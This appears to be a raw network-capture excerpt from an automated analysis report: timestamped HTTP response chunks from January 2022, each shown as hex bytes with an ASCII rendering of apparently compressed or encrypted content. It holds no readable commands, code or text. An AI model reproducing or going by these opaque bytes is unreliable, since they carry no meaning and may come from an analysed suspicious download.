                            2022-01-21 16:23:11 UTC975INData Raw: 38 c4 24 ea 08 cd 7c 6a 73 ba 24 08 b9 e0 4f 7e af 33 e2 19 9b bb 20 6c 2f 93 28 1b 7c be 18 8d 3f db 17 ca 66 7c a5 60 53 aa 1d 7d a1 a0 fe 12 b2 d0 cc 0e 13 f5 6f 85 1a 44 9b 1f 96 60 a3 85 d0 0c 79 b5 24 84 12 77 43 27 11 0d b0 10 e6 23 31 fb 58 88 50 95 8b e4 c9 37 66 26 7e e4 8f c9 34 7b 77 8a b5 8d 35 e4 5d 62 f6 59 02 8a 81 74 57 92 f8 a0 5b e3 36 1a 6a 30 79 35 3b d1 a3 d5 29 9c c0 55 8d d4 bb 32 5d 84 31 df d0 8d 72 b9 62 5c 76 4b ca 8f de f6 e4 85 ba ee b5 f6 72 e6 1c 3e 19 b4 e5 63 17 0c 7e 1b 9f 0a af 2b b4 89 f1 5c b0 62 a9 68 60 a7 aa 87 b3 fb 19 7b db a7 ff 7d 15 8c cf 56 a1 f6 0b ce 7e e2 86 ac fa 87 7a 7f 61 3a 9b 77 59 f2 94 9e 41 40 c9 3c d5 ff e9 66 f0 0f db f1 27 d7 8d de 16 d7 c0 ac 97 1f 4a 97 4d 85 e2 4b 4e bd f9 88 12 c1 ed 5c b3
                            Data Ascii: 8$|js$O~3 l/(|?f|`S}oD`y$wC'#1XP7f&~4{w5]bYtW[6j0y5;)U2]1rb\vKr>c~+\bh`{}V~za:wYA@<f'JMKN\
                            2022-01-21 16:23:11 UTC991INData Raw: 97 6b 23 f2 7b 2a f2 89 85 30 49 56 4d 33 2f f8 09 e4 86 51 19 64 98 d7 ea e7 bd a5 33 57 a7 26 6c 2b b4 58 75 da 49 53 9a 46 59 95 54 82 b4 c3 23 f7 b7 ec 41 12 18 3b 65 2b b6 45 0a a8 5f ad ff 7e c9 0e cb 75 7f 02 f1 6e 93 70 8f b2 8c e8 ca 2d 76 64 df 82 34 0c 53 d1 9c af 41 19 86 eb 59 ea 72 5f d9 0d 16 ab 9b f3 17 33 ef 57 0a 93 df ba 70 40 74 87 db bb 8b 2e 16 24 12 b0 be 07 ec 19 c4 a1 54 00 39 59 d5 b6 ca 2e d0 20 27 1b f8 ee 80 40 0c 97 77 d6 96 32 8b b7 10 21 dd 50 90 e3 19 13 d7 10 08 31 a5 90 73 26 44 e5 a5 db 38 b4 6d 62 1d 19 9b 3c 46 be e8 e7 a2 f5 ff 78 be 05 fb 99 48 af 7f 99 a6 ff 78 74 e8 8f a2 ab 8f b5 d2 8c 34 49 ac 62 b7 d0 8d f7 be 21 b2 c0 f1 89 94 88 c0 85 f7 54 f2 c3 c0 8c 99 55 80 9b 33 cc 7f 49 23 58 3f cc c0 59 ef 0a 58 a4 be
                            Data Ascii: k#{*0IVM3/Qd3W&l+XuISFYT#A;e+E_~unp-vd4SAYr_3Wp@t.$T9Y. '@w2!P1s&D8mb<FxHxt4Ib!TU3I#X?YX
                            2022-01-21 16:23:11 UTC1007INData Raw: fe 8c 68 4e a7 9f ad a2 e6 6b fb 0b 65 9f b5 28 4c 25 51 f1 1e 53 7e 12 a4 01 0a f5 5a 7b a6 a4 1e 99 12 ad 7d 31 35 14 2c 71 2a a1 7d 44 68 7e 84 66 02 a9 4e 73 6b e2 b6 0d 2f 5e 47 56 65 76 09 2c ea da 86 2c 16 67 ca cf 26 4b 18 13 fd 12 cf 2e cc 8d 13 48 aa d4 35 67 7e 95 c6 34 53 00 d2 84 8c dd 90 1f c4 44 1b ff 4f fc c7 55 fc d3 e0 3e 37 fa 47 a7 30 f0 65 d4 c4 52 0d 06 dd 77 f6 a1 ab 2f 10 4c 38 ec 9f a1 08 5f ae 35 34 43 22 86 9b 1b 1c f2 65 a0 5c ad 64 b2 a9 e7 c7 78 a1 53 c6 e5 9f b4 c0 ea ab 21 9d 37 4b cd dc cd 7a 1f a5 fb 86 f9 c5 59 5b 97 33 f0 79 42 60 14 09 cf 3d 07 6b 76 6e 42 d5 ae 80 4e 76 84 ba 04 6c ec 44 a9 e6 28 f8 2b f5 34 c5 52 71 14 06 bf 63 98 95 ac e9 69 02 a9 c1 51 9f b3 52 57 db b4 f0 08 1c a3 91 d0 dc fb f6 fb d9 aa a1 53 47
                            Data Ascii: hNke(L%QS~Z{}15,q*}Dh~fNsk/^GVev,,g&K.H5g~4SDOU>7G0eRw/L8_54C"e\dxS!7KzY[3yB`=kvnBNvlD(+4RqciQRWSG
                            2022-01-21 16:23:11 UTC1023INData Raw: 88 12 47 72 b6 2d 81 93 4f 9f 0e ff 1c a1 d7 3d bb d5 03 c2 f1 bf 12 71 46 d4 18 e9 d7 2d 81 5f a5 ea df 91 84 2d 05 57 c8 6e 17 34 38 a4 45 3a 23 64 87 b6 9d 47 ae d9 0c 8a a2 39 2e 48 d9 4e 94 a7 54 fb 37 59 cf 82 b2 f0 11 33 97 18 da 84 31 a2 64 67 80 43 a0 c6 25 ec 87 c0 97 cd 2a 91 4d 61 cd 0b eb 97 42 d8 6f d2 6d fd ef 6b 93 9d 07 3c f2 e2 88 53 09 e1 00 06 d3 bf af 29 7e 00 39 7f 2a 01 f4 9a 3f 88 1e 4a b2 f1 03 d2 fe 01 40 98 85 ea 65 84 cc 8a ba 28 f5 57 ba 6a 82 19 84 61 76 71 01 f6 47 59 c3 85 15 a1 9a 63 b2 48 7c e1 26 77 6d 8a ef 4e 0e 6e cc 32 ef 95 f5 f9 93 32 19 f4 01 e5 64 08 45 36 3f 3e 79 de 83 49 65 35 31 01 b5 ac 41 36 b0 0b 8d cb 45 bf 53 7d 84 d4 c0 46 00 ef 92 0b 5a 42 a0 c9 3f 71 ce a2 6f 6a 49 3e 63 88 0e b7 9e 2e e3 b8 b3 6b 04
                            Data Ascii: Gr-O=qF-_-Wn48E:#dG9.HNT7Y31dgC%*MaBomk<S)~9*?J@e(WjavqGYcH|&wmNn22dE6?>yIe51A6ES}FZB?qojI>c.k
                            2022-01-21 16:23:11 UTC1039INData Raw: 00 08 95 ca 65 6f ce 24 2c 62 fb d7 28 7f ad 29 26 d9 67 a9 7b 98 15 09 34 3d c0 7d ad bf a4 fe 6b 7e 43 b4 8f 84 c3 e4 0b 30 c0 90 3f c2 05 9e fa 19 59 f9 58 d9 44 30 76 29 04 28 2d d8 32 4c 56 ee f1 89 e1 7d 32 4f a9 60 5e 38 1c 8c 71 70 32 ac 05 2f 87 ba ec 15 c0 fc fa 47 f2 cc 6f f9 f0 6f 02 b3 05 c5 e0 c0 4b 44 80 ee 81 ea 23 c8 91 cb 45 f0 47 07 47 87 86 86 25 01 26 ba f9 d5 dc e0 4c ba 5e 79 ab 7a 27 66 9f 4a 59 48 de 44 12 d9 26 7c 97 64 0e ae fd 5b 1d 2f 58 3a f1 16 20 5e 44 f3 b7 a9 d5 2a c7 f4 41 8e 74 d4 99 52 df cd 75 28 a7 b6 08 16 42 b6 32 e5 c8 29 a5 af 26 be 1a 1b 98 45 be db 7d e7 3a e4 bd a6 af 6d cd 5b 48 9a b2 bc 06 1d c6 39 47 5b fd 96 65 18 3e d1 1a c4 cd 38 9a 54 2c cb d1 31 ef e4 4c b1 06 78 cd b0 0f 16 e6 1a 9c e2 33 22 62 d9 20
                            Data Ascii: eo$,b()&g{4=}k~C0?YXD0v)(-2LV}2O`^8qp2/GooKD#EGG%&L^yz'fJYHD&|d[/X: ^D*AtRu(B2)&E}:m[H9G[e>8T,1Lx3"b
                            2022-01-21 16:23:11 UTC1055INData Raw: 83 3e b4 b6 b6 48 25 99 5b 7d 36 18 81 c0 2a 9f 8b 5e 5f 1a fc 3b 1b 89 78 b8 95 a1 9b 55 54 73 f2 60 7b e0 6a 15 93 17 f5 a6 64 0d 19 5d e4 cc db 0d 7e f0 55 78 d8 be 8d f6 97 da 62 55 53 e1 3f 1f cf f9 5f ce 7e a3 5d c9 75 10 0e e1 da 98 95 2d b1 08 f8 c0 a8 c4 83 b9 15 df 43 e0 51 68 20 78 aa 3f f0 44 15 3f 14 59 1e 52 e7 9f c0 0c b8 28 f6 99 74 60 67 43 ee 3d 49 b2 8b 60 02 bc 80 cc b4 a3 18 0c ba ba ff 1c a1 d8 ee ac 7a b6 77 49 e8 99 9d 4c e8 79 a5 f3 4d 3a 36 56 27 df 43 fe 7e f3 90 23 2e b6 a0 c4 a6 23 56 8d ba 7f 5e 0f b9 62 9d 64 9e de c1 c3 4f e6 82 d9 68 0d db de 8f c9 bc 7e a6 66 df e8 64 c9 55 85 de 03 2a ab d7 c0 00 b7 12 fb a1 51 9d f0 9e c7 84 90 4b 0e 89 37 8b 13 50 6c 0e 77 a7 c5 39 06 b3 1a 9e ff ed f6 d8 4a 48 56 e6 25 68 7e 99 71 3c
                            Data Ascii: >H%[}6*^_;xUTs`{jd]~UxbUS?_~]u-CQh x?D?YR(t`gC=I`zwILyM:6V'C~#.#V^bdOh~fdU*QK7Plw9JHV%h~q<
                            2022-01-21 16:23:12 UTC1071INData Raw: 2d 81 3f a1 df 49 bf a7 24 8d 87 61 fb ee b8 33 f8 1c 87 29 dd f5 2e af d3 34 4e 47 dd 77 58 b1 97 22 5f f3 02 cd 72 3a 8d 09 20 1f 3f 48 e9 7b 0e e6 8b 06 44 fb 58 28 20 80 16 64 96 0d a9 96 06 ff e7 d8 8e ff dc 4a a2 70 ab 1c 32 a0 1e 87 33 49 3e 5c 09 5b bc 43 e9 6d a7 0e 1d 5d 33 80 44 e3 bc b9 79 b4 f8 47 47 4d 4f b8 bf 98 82 5a c4 a3 d4 82 b2 a1 0b 7c e2 a4 bd 49 f7 71 e1 6b 37 24 53 b3 1f db b8 b0 65 71 9c 52 33 84 e5 06 09 e3 e6 ea 0f 11 b0 f1 1a 51 40 5b fd bd 90 c9 47 81 05 cb 43 5e 7e f8 38 a9 8d fa 21 a3 40 e7 e9 2f 40 0d be 2d f4 ca d5 ab 6e 27 19 ad 67 f7 30 e2 07 89 96 e4 d6 1f 5b 32 22 df dc 3a 96 8f 82 db 89 95 e3 b2 56 ef b0 0d b9 7f fa 3b 80 32 4c 8e 45 90 49 c3 22 45 1f 11 17 fb a0 01 27 cf ee 11 e8 44 5f f0 db ae d7 32 30 c1 eb 33 39
                            Data Ascii: -?I$a3).4NGwX"_r: ?H{DX( dJp23I>\[Cm]3DyGGMOZ|Iqk7$SeqR3Q@[GC^~8!@/@-n'g0[2":V;2LEI"E'D_2039
                            2022-01-21 16:23:12 UTC1087INData Raw: 59 8c 37 68 a1 e4 f8 d4 fe 00 41 0c 31 ae 33 0f 5f f4 9d 18 36 fa 1b e8 d8 df 88 44 a2 14 f9 05 ed 4d 09 0a 4d 6b 9d bc 44 04 55 3a 75 9a 38 3c d6 72 cc 25 bf 1d e0 a0 f1 cf 64 12 c1 f9 c2 99 87 6e ae b4 51 66 fe c5 23 70 76 4e 2b ff cf 7f c4 8b b9 8e e9 f7 90 a6 c1 2c 23 87 1e a8 18 ac e7 ad 02 07 61 e1 56 2f 5d eb 5c 10 7b f8 45 4c 67 cf 85 fd f8 6e 31 71 91 8d 06 9a bd 06 6e 4b 6b b0 be 50 d2 2f 75 36 ce 29 5c b5 5a 35 70 d6 ea 7f fb 62 7f 05 83 c1 a7 0b c6 c5 be 4f 6c 1f 28 82 06 19 62 97 a6 02 d0 9c ab 91 be a9 f5 9e 83 ed 97 63 6f c1 4e d2 83 e7 1e d6 5c f4 a5 cc 3e 28 c3 4d fc 5d 6e ab ad 19 25 bf f2 93 fc a9 f4 17 30 40 d3 fd 3c d5 27 2f 6a 99 a5 d0 f5 27 5c c8 50 ef 6f c5 05 e1 ad e1 44 5b f2 50 fe e2 41 72 64 c8 ed ee a0 fe f9 f8 9e 76 0e d5 10
                            Data Ascii: Y7hA13_6DMMkDU:u8<r%dnQf#pvN+,#aV/]\{ELgn1qnKkP/u6)\Z5pbOl(bcoN\>(M]n%0@<'/j'\PoD[PArdv
                            2022-01-21 16:23:12 UTC1103INData Raw: 44 9e c7 54 d0 52 ba 58 c7 f8 6e 01 fc d7 37 ee 6d 94 1f 25 53 85 cb 84 77 6a 4a 21 28 cf d9 1a c9 7b 0a a1 c4 57 bc 51 06 f6 66 4a 96 7e 8f 3b 66 0f 2f b0 f0 5f 7d c3 a6 10 60 34 7b c3 75 7f 0e 59 84 82 c8 35 e7 7b 16 c6 25 42 97 4f 38 7b cc 54 56 6a f1 c5 c8 b2 8b 16 20 f2 57 fd 40 5c bb e4 96 0b 46 91 68 26 7a 05 00 bd 03 e6 e3 8e c6 8c 1e c8 73 78 b4 33 c9 e0 01 27 e0 da 33 06 1f 2b a0 9b d3 2f 35 cc 0e 5d 6d 12 c1 f1 69 a0 aa fe 9a 34 fd 94 86 2a 0e 9f fc 9c 20 5e 77 2c 7d 05 39 ac 73 cf 09 7f 16 71 c3 39 a0 06 6f cb b4 8d be 00 eb 37 64 5e 7b 2c dc 13 24 85 15 0e 11 2e fe 04 7c 00 70 a2 53 f5 72 c6 76 f2 34 b3 16 3e 65 f8 da de 57 7f d0 39 87 a8 3e e1 1b 37 bf 7b 01 85 f1 73 8d 32 cf b8 20 01 d0 cb d1 7a 04 1a 84 f8 a4 af d0 1d 47 66 85 8c 88 c0 5e
                            Data Ascii: DTRXn7m%SwjJ!({WQfJ~;f/_}`4{uY5{%BO8{TVj W@\Fh&zsx3'3+/5]mi4* ^w,}9sq9o7d^{,$.|pSrv4>eW9>7{s2 zGf^
                            2022-01-21 16:23:12 UTC1119INData Raw: 47 01 a2 ba 0b ed 82 56 90 0e da cd e0 47 d8 38 97 ed 33 9a 1b 1d 7b c0 42 0b b3 d8 66 38 ab e9 92 9f 1b 6c a1 1b 4b b5 66 1a df 34 30 d7 5a 26 69 f0 88 89 dd e6 a0 ab 30 09 c1 23 0b b9 a1 64 12 5f 10 dc 45 29 40 e5 44 cc 2e 05 e1 b5 0e 9a 5f 70 9c ae f5 f7 01 67 72 a1 73 3a c9 1f 1c c4 46 db f7 36 c3 37 70 01 1d a6 3e 1f b3 7e 8b 30 c8 13 a8 5e 44 f2 39 26 62 2a 27 eb 03 58 ca 37 69 2c a1 08 98 28 68 01 05 11 47 fd 20 5f 9e 12 b0 04 bf ed 6c 10 64 01 cc 9e 54 ea e5 08 a4 bf a7 aa c9 98 42 30 0b 5b 29 27 dc f3 b7 3a 24 be 15 57 1d c2 18 e4 ad 71 bb 31 ff 7e 54 32 37 a0 84 00 be ba c1 23 25 70 e7 8a f9 bd 5f 2c 8b 80 ef 78 41 78 8d e0 21 85 c5 ee 61 2f 64 a2 d6 4f 8a ba 8f c3 05 70 dc 09 9b 1c 5e e3 bc 99 31 29 42 17 91 2c 05 99 63 08 96 f8 06 6e 7d 6c 68
                            Data Ascii: GVG83{Bf8lKf40Z&i0#d_E)@D._pgrs:F67p>~0^D9&b*'X7i,(hG _ldTB0[)':$Wq1~T27#%p_,xAx!a/dOp^1)B,cn}lh
                            2022-01-21 16:23:12 UTC1135INData Raw: de 46 b7 df 00 e3 5e 78 5b f5 c2 9a af 43 b2 97 08 ce 04 95 2e b5 a5 52 22 e9 1b a4 49 0f fd 8e 97 96 a3 bc 7c 85 15 e3 8e 73 2a 5c 94 8a 46 5e cb 81 23 ee 9c 33 25 d8 4e 9c 22 7f 56 93 83 5d 7c 42 cb 23 fe e8 46 48 ff e4 a5 9d 3d 97 9a cd fe b8 8d b9 c6 5c df 8b 35 39 7b 15 01 eb 0d 68 a6 e5 93 62 cc 1b c0 9c 83 cf 97 d9 a8 76 04 3a 94 0f b8 dc 48 e5 e5 72 22 4d c1 d5 88 fa 12 30 58 9d a5 31 1d 2c 32 e7 61 b6 a5 35 8c 03 a8 50 f4 1d 16 8f ad 7c 78 07 68 d9 75 d9 e6 fe 0d ac 5b a6 1d f8 68 84 e6 50 b5 69 81 ec 74 81 34 6d d7 0f 82 79 35 a9 95 71 80 83 cc 3c 48 12 25 83 83 26 f9 7b f6 62 39 39 47 16 c6 83 8b b6 ac ab ef 38 41 08 f3 02 5b d8 bd 62 42 bd da 48 52 f2 6d 46 de bd 69 08 0b ba 6a af f5 4f d7 73 b4 a4 c3 8d fd 7d 3c c7 73 4b ae a5 31 b6 b8 c2 d2
                            Data Ascii: F^x[C.R"I|s*\F^#3%N"V]|B#FH=\59{hbv:Hr"M0X1,2a5P|xhu[hPit4my5q<H%&{b99G8A[bBHRmFijOs}<sK1
                            2022-01-21 16:23:12 UTC1151INData Raw: 9d d3 cb 37 3c 77 50 33 24 1e e7 12 c7 a4 9b 03 09 65 b7 a1 5b 45 40 5b 95 51 90 57 21 81 16 cb 40 58 76 08 53 07 85 71 9a 71 1b e9 23 ff 96 f3 fb a6 9e 89 59 db 69 d9 68 d6 90 f5 03 57 53 54 9b ce c7 4a d0 87 fe d8 83 3a 52 3f 1d 89 77 e9 68 41 0b 13 93 e5 8c e6 75 f5 7a c0 5b 09 ba 17 a4 3e 24 06 63 4d a6 dd 3c 62 98 b9 17 cb 79 3e 74 91 0e 3d 7d 88 b3 e6 14 ee 00 37 d2 61 e1 2c 0c 02 66 90 fc 9d 13 85 1a 88 9c 7c 72 ff ac 9f c8 d5 b3 32 da 31 e1 c0 d6 ab 4d c1 e0 69 a4 40 ea 24 bd b2 bd 9e 1c 65 cb a9 9c 5f 3c a7 b6 88 07 c5 29 57 9a f5 c1 58 44 0b 3e 22 c6 ed 95 77 a4 84 18 f9 bc 4c ec d2 a6 9b 84 3d 92 3c ff 66 f2 3a 60 1e ec 07 6d 06 7d 32 94 a6 3a 32 a1 ec 22 32 c8 d1 31 58 27 d6 86 fb 4c 32 f3 84 63 8c 18 7f 16 66 ca 3e 13 1f 11 76 56 07 c8 3d a7
                            Data Ascii: 7<wP3$e[E@[QW!@XvSqq#YihWSTJ:R?whAuz[>$cM<by>t=}7a,f|r21Mi@$e_<)WXD>"wL=<f:`m}2:2"21X'L2cf>vV=
                            2022-01-21 16:23:12 UTC1167INData Raw: 6e 08 8b c0 ae ac 43 23 0b b6 8a 54 6c f9 bf ac ad 18 f5 79 e8 7c 5e 83 75 5b 19 54 94 6f ab 1e 72 e5 cc c9 c4 09 2f f2 5b 55 80 7e 4c 17 78 cf 55 0b a8 1e b3 0f 9a 8d 20 cf 22 8f 23 49 08 78 2e 9e ab 8c 65 ff 39 8f bc 1b 78 1e 42 a4 b2 5a ae 1a 63 8b f1 3f 49 fa 1c a2 7e cb 5c 4b b7 61 9a 9b a9 48 61 65 91 f0 2e 8d fe 39 60 f5 e2 b4 e6 52 b3 7f 01 06 10 8b 06 55 c2 83 5c df f8 69 6d 8a 08 2a 4f 3d b5 a6 d0 d0 83 ca 11 fc 8f 34 f3 2c f5 ce af 62 42 91 e9 bc 0a c6 d3 88 52 87 88 97 d7 8f d3 fd 42 30 5c 94 69 30 59 bc 80 12 1d 2e a6 f8 79 38 29 03 fd 79 20 7f d6 ba a6 5d 6e d7 81 79 0c 95 21 5f 8f a0 a3 5c ff 0f d1 9b 7e c8 be 90 12 43 c9 07 57 ca df 76 30 4f d6 53 32 24 3e 77 50 be 72 28 79 bc 81 fe 05 d6 c7 57 e0 17 af 3d 72 3c 39 63 22 21 f4 2a b6 98 69
                            Data Ascii: nC#Tly|^u[Tor/[U~LxU "#Ix.e9xBZc?I~\KaHae.9`RU\im*O=4,bBRB0\i0Y.y8)y ]ny!_\~CWv0OS2$>wPr(yW=r<9c"!*i
                            2022-01-21 16:23:12 UTC1183INData Raw: d2 d0 40 9b b3 b1 e7 7f 35 c3 c7 04 ed 93 3d 34 87 c0 4c d5 06 9f 77 80 73 16 c9 f4 31 c6 41 b0 73 cf 8c 34 22 7e b8 c2 38 c5 78 02 4c 06 fb db a2 eb 1e 45 2e d4 0d b1 da 74 77 50 92 0b 79 13 01 e0 70 67 dd 35 a0 75 4a e9 49 53 17 7b d7 38 08 6c 2b f6 84 f1 0c 62 5d 82 ed 68 e1 c3 3c 5b ef 4a f6 bd 31 33 c5 a3 66 d3 9a ba cc 4d 51 c7 85 af 31 fb 2c b4 0f 09 7e 96 2d a9 5c 1a 95 3d 72 65 57 4e 31 24 ab 16 ec 38 e6 5b 61 0c 0f b0 10 a7 87 d5 a5 7e 8c 6f bc 0b 66 43 2f cd bb d4 ff 53 38 76 6f dd 12 82 b0 d6 a8 5b 0d 0c 70 f4 63 8f a9 1a a4 df ab 0e 86 33 a7 af 77 64 ff fe 5e 38 2a 80 71 70 34 94 70 7b db ea 89 25 c0 fc 4a 62 32 b8 7a 25 14 78 fe 86 4d 9f 5f 0c c0 ba e0 57 04 9e 40 88 1c 01 db 1c a0 32 bd 60 7a 41 25 8e ce bb 8c d0 76 ae 4b 13 d9 de 39 77 e7
                            Data Ascii: @5=4Lws1As4"~8xLE.twPypg5uJIS{8l+b]h<[J13fMQ1,~-\=reWN1$8[a~ofC/S8vo[pc3wd^8*qp4p{%Jb2z%xM_W@2`zA%vK9w
                            2022-01-21 16:23:12 UTC1199INData Raw: 57 a8 a6 b2 65 9a 03 f1 76 a0 84 12 ba 87 46 e4 e7 5d ef 4c 48 29 61 27 a0 6c 8b b1 e6 20 64 95 34 ce c7 10 f7 84 10 32 fc 3d 16 c2 9a a0 e2 28 73 80 f9 f8 52 7d 3b 49 d8 f4 d7 14 83 a7 e5 13 05 13 73 ff 86 db 77 04 2a cf 05 c9 26 ce fb 90 50 0a f4 5a 76 29 b7 6b 76 f5 0f 61 e8 25 6a 9e e4 b6 5f 98 00 73 f0 e3 bc 3c 31 9d a6 1f 2b 88 79 9e 69 48 d9 b5 b6 e4 50 27 5f 49 a8 dc d8 50 6c 75 bb bc 56 1f b6 b4 51 52 0b e7 75 3a b3 a9 a7 77 8f 5d 6a 66 91 70 c9 09 72 6e ac 9d 1c d2 a7 02 f5 de 08 d5 db c5 2e 5e 55 92 cc 7d 6c f6 f1 00 9a 7f 26 d0 b4 3c 49 c8 5d 45 3b c2 55 e1 84 6b 7b b1 89 f2 c0 21 d2 49 d7 98 ac 10 de 0f 5c ef 9e 32 71 c3 f7 f5 1c 27 72 b9 61 27 c5 12 b1 1b be 1a a1 79 6f e5 21 4d c2 78 e7 be 9a 25 a1 22 74 e5 7f 85 da c2 38 2b 95 c3 38 63 00
                            Data Ascii: WevF]LH)a'l d42=(sR};Isw*&PZv)kva%j_s<1+yiHP'_IPluVQRu:w]jfprn.^U}l&<I]E;Uk{!I\2q'ra'yo!Mx%"t8+8c
                            2022-01-21 16:23:12 UTC1215INData Raw: e2 e4 84 bf 8a b9 13 f4 ac d7 37 cc e3 a7 29 f5 3d 2c 6c 04 bb 8e bb c3 44 c2 76 8e 2c 79 51 bd d4 a2 09 b6 dd 68 69 5a 48 92 f0 7c 98 d0 d2 be 35 41 4a f6 c9 84 40 4e 06 c7 13 ab 23 76 ca c6 b5 16 03 72 52 dd ca 4b 82 3c 72 3e 6e 9b 4f 65 52 7a a4 27 e1 77 e8 84 93 fe f8 a9 ce 41 55 28 9e cd 05 70 b1 e4 72 c2 5e c8 3f c0 b7 3f 8c 3f f4 69 28 98 57 f4 6e 89 8b d8 35 b0 bd d2 2f bc 02 a3 e4 b7 fa f5 88 54 be 37 f7 3a 34 c6 96 4c aa 86 60 88 80 73 98 da f0 e7 bf b8 a2 f8 8a 01 7f ad f4 4c b3 db 33 6d ca c2 02 72 ec ec 23 b9 c9 a0 a1 fe 1c d8 15 a9 fd ba cf ff 87 52 6b 80 3f 07 f8 5f 4d 4f b5 59 d8 d0 ce ad 09 50 40 3d ca d8 0e 03 e7 e7 30 ee c8 48 28 78 45 ff f1 40 41 f5 70 2f 7c bb c4 a3 c0 4d b4 2b f8 0e 98 54 6e d6 5d 76 f6 14 cb 8a fa d8 3c d1 3d 70 42
                            Data Ascii: 7)=,lDv,yQhiZH|5AJ@N#vrRK<r>nOeRz'wAU(pr^???i(Wn5/T7:4L`sL3mr#Rk?_MOYP@=0H(xE@Ap/|M+Tn]v<=pB
                            2022-01-21 16:23:12 UTC1231INData Raw: c1 b2 95 9f 4c 0c b1 cb 9f 48 84 59 78 11 1f 01 af 13 c7 c0 e9 c9 97 cd 65 9f fd b3 a1 d4 73 c8 1f b0 7d 69 4b 56 5b 2a 56 2c fb 84 64 04 cb 5f a4 89 f6 a8 af 53 b9 ea f0 66 a9 41 00 c2 e4 fa 1a 30 56 ce 50 09 3a 3d 9f e7 f5 d8 e6 c7 0a 87 91 ba ea 6b ec ea d2 93 4d 80 52 96 18 45 ce 52 f8 d2 69 73 b0 84 61 82 c6 4a 18 90 e7 ea 94 bb 57 6c 63 b5 e6 96 7a 73 37 68 4a 82 f9 39 a4 25 c2 c6 d1 32 f1 98 5f 74 16 e8 09 74 1d 81 d4 19 86 99 e7 91 c6 e5 31 51 24 fe 8e c9 ac bc cf f4 53 08 76 f4 85 56 d6 23 9c b8 0e 4b 2f d4 92 19 8c 44 f6 f6 75 ec f4 f3 27 83 b1 e7 f9 22 dc 77 fb 0b 5a 40 bc 29 24 00 2f ed 48 ad 19 9e 15 81 b9 89 17 88 e2 cd f3 0c 02 99 21 65 29 82 7a 01 19 18 d5 07 9c c9 91 67 85 52 f8 b2 2f f9 5e 65 79 31 b9 0d 2d dd bb 78 b6 f8 dc 28 8b db c0
                            Data Ascii: LHYxes}iKV[*V,d_SfA0VP:=kMRERisaJWlczs7hJ9%2_tt1Q$SvV#K/Du'"wZ@)$/H!e)zgR/^ey1-x(
                            2022-01-21 16:23:12 UTC1247INData Raw: a7 c4 f1 70 9a 2b 8a bd 13 7a 0c 21 8a a5 ec 52 e2 85 5c d7 ab 37 5a 76 62 1b cc 7b e0 9c 90 ce 37 ff 7a dc e6 20 eb 30 2c bc c9 d3 0e 58 b1 2a ae cc ed 62 0d 2b 06 f5 bd c7 52 7e 5d 17 b4 18 38 eb 30 a2 16 5e ac d8 b8 f6 61 31 0d ab b8 b1 89 35 39 dd 9b 38 bd 01 37 45 3c f6 8d f9 58 26 5e 73 8d 7c 8e 77 8b 6f f5 52 24 1a 2f 84 cc 1c 83 90 4d c1 5f 7f f4 2b c8 0b b6 d3 cd f5 46 79 56 75 e0 18 87 3e a1 15 d8 e9 80 83 f6 3b 2d bc 4c 00 88 f3 ad e6 54 79 ab da 79 f4 2e f7 dc 50 4d 3e 14 61 ee 4f 89 86 52 d3 89 7b 14 bc d4 65 f7 4b 8f 4a f7 f2 27 7b 9b 4c 2f ca ad 6c ce de a2 78 64 35 31 01 41 d8 a4 9d 27 6d f8 a2 e8 ae 25 4d 2b 65 5b 25 a7 99 6a a2 67 cf 4b d9 fc 82 88 23 30 35 be fc b7 36 a7 33 dc 25 48 60 aa 94 b4 51 5a c1 75 ce a7 2d be 69 f1 5a c9 af 3e
                            Data Ascii: p+z!R\7Zvb{7z 0,X*b+R~]80^a15987E<X&^s|woR$/M_+FyVu>;-LTyy.PM>aOR{eKJ'{L/lxd51A'm%M+e[%jgK#0563%H`QZu-iZ>
                            2022-01-21 16:23:12 UTC1263INData Raw: 32 cc 7b 1a 7d 71 26 9b 95 09 65 b7 e9 23 eb bf d9 16 99 6f 0c 02 49 40 b9 13 d3 2b c0 99 b9 7a 09 de fa 19 b2 60 12 97 07 f3 25 7f 6b 90 67 6f c5 5c 55 ee 05 4a 67 59 72 73 b9 15 42 9a 9b 73 8f 8f b1 54 24 11 c8 02 62 eb 3f 03 2b ad b7 cc e3 73 7e 78 51 f9 40 45 9c 0c 3f af 68 5d 04 9e c8 48 68 d8 44 5b 0d b1 47 9f 85 86 ad c8 8b bb 0b e3 b6 f0 8e 9a 17 21 72 fc 0b 64 2f 00 1b 48 fe 44 d5 5f de 34 d2 64 05 8e d5 5b 93 ec 8b 1e d1 16 20 38 c5 2e da ab aa 2a a1 7d db e3 33 d4 10 34 56 5b 6b 61 e2 b6 03 ef 51 c3 ec 2e 33 09 2d af 26 bd 3b 69 57 c3 88 d9 7d e7 66 ae 8a 89 36 a6 cd 7b c8 d1 91 35 87 0d c5 39 d3 2c ba e4 09 99 f5 d1 fe 8f 88 5e 97 ca 3c c8 15 7a 96 e0 b6 bc 87 b3 19 7b 4a 16 e1 f7 66 80 55 51 11 ca 86 8f 42 fc e0 4e 48 42 ce 7c 7f 5e 25 bc 33
                            Data Ascii: 2{}q&e#oI@+z`%kgo\UJgYrsBsT$b?+s~xQ@E?h]HhD[G!rd/HD_4d[ 8.*}34V[kaQ.3-&;iW}f6{59,^<z{JfUQBNHB|^%3
                            2022-01-21 16:23:12 UTC1279INData Raw: 10 5a 78 18 51 bc 27 c2 ff 69 d7 29 ea c6 24 e6 b2 77 ae 05 7a a1 eb 26 90 a8 95 75 03 d8 71 84 46 b8 20 fd 1b 7f e4 86 30 3f 4d 0d 71 00 bd 67 29 72 67 3d 58 7d dd ce 18 9b f9 01 44 3d 34 66 f4 9f ac d2 45 34 ed 0d 76 ed 47 e6 e8 eb 74 3d 3f 29 27 84 bf c4 ea 6c 7a ed d3 b5 fc 6d 15 e3 6f 0e f8 85 c7 bb f3 8b 99 bc 11 c5 c7 44 20 69 5b a9 80 ef b6 f1 7f 9d 3c 19 e3 76 60 73 37 82 87 bb 6e a6 72 55 d1 8c 9a 90 ad 3a 73 6f da a1 fc e8 07 e8 a8 4e 62 c1 e9 f7 cb 28 4d b6 56 23 4f 4a 2f de 38 a8 ec a4 00 e7 c4 cb 9a 45 8a 63 a4 2d 77 11 b3 1c 9e 02 10 30 18 c6 02 39 40 2a 0b fa ea 81 c4 9f ea 9f 96 93 dd 83 e5 4f 83 d8 2a bd d7 a3 a8 7a 08 73 42 a3 80 ef f1 5e eb c3 fb 32 38 57 b3 54 34 38 ce ef c5 00 19 3b 12 a2 3e 2a 36 63 fc 75 ca fb f1 9f 7f cf 2e 20 a8
